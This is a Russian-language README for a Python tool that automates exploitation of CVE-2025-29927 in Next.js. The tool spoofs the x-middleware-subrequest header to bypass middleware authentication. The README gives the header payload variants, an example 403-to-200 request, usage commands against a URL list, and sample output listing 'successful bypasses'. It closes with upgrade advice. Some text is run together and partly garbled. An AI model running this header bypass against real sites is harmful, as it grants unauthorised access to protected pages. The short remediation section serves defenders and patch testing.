
CVE-2025-29927: Next.js Middleware Exploit
Этот инструмент демонстрирует и автоматизирует эксплуатацию CVE-2025-29927 — уязвимости в Next.js, которая позволяет атакующему обходить проверки middleware (например, аутентификацию) путём злоупотребления внутренним заголовком x-middleware-subrequest.
Next.js внутренне использует заголовок x-middleware-subrequest, чтобы предотвращать бесконечные циклы в рекурсивных запросах. Однако в некоторых версиях этот заголовок не защищён от внешнего вмешательства, что позволяет злоумышленнику подделать его.
Устанавливая этот заголовок вручную, логика middleware, отвечающая за обеспечение аутентификации, редиректов, логирования или фильтрации, полностью пропускается.
x-middleware-subrequest403 становится 20015.2.314.2.2513.5.9next start с параметром output: standalone)next export)Normal Request:
GET /admin --> 403 Forbidden
Request with Header:
GET /admin --> 200 OK
x-middleware-subrequest: middleware
Даже если целевой ресурс проверяет аутентификацию через middleware, это полностью обходит её.
git clone https://github.com/0x0Luk/0xMiddleware.git
cd 0xMiddleware
Создайте файл с именем urls.txt с одним URL в строке:
https://target.com/admin
https://target.com/_next/static/asset.js
python3 0xMiddleware.py urls.txt
Отправляет запросы на каждый URL с эксплойт-заголовком и без него
Использует несколько вариантов payload:
middlewarepages/_middlewaresrc/middlewareРезультаты:
middleware_exploited.txt: для подтверждённых обходов (403 → 200)middleware_response_diff.txt: когда содержимое ответа отличаетсяНемедленно обновите Next.js до безопасной версии:
15.2.3+14.2.25+13.5.9+Также:
getServerSideProps, JWT, сессии)[✔] Bypass successful: https://target.com/admin (payload: middleware)
[•] Response difference detected: https://target.com/login (payload: src/middleware)
[✔] Found 3 bypasses > middleware_exploited.txt
[•] Found 5 response diffs > middleware_response_diff.txt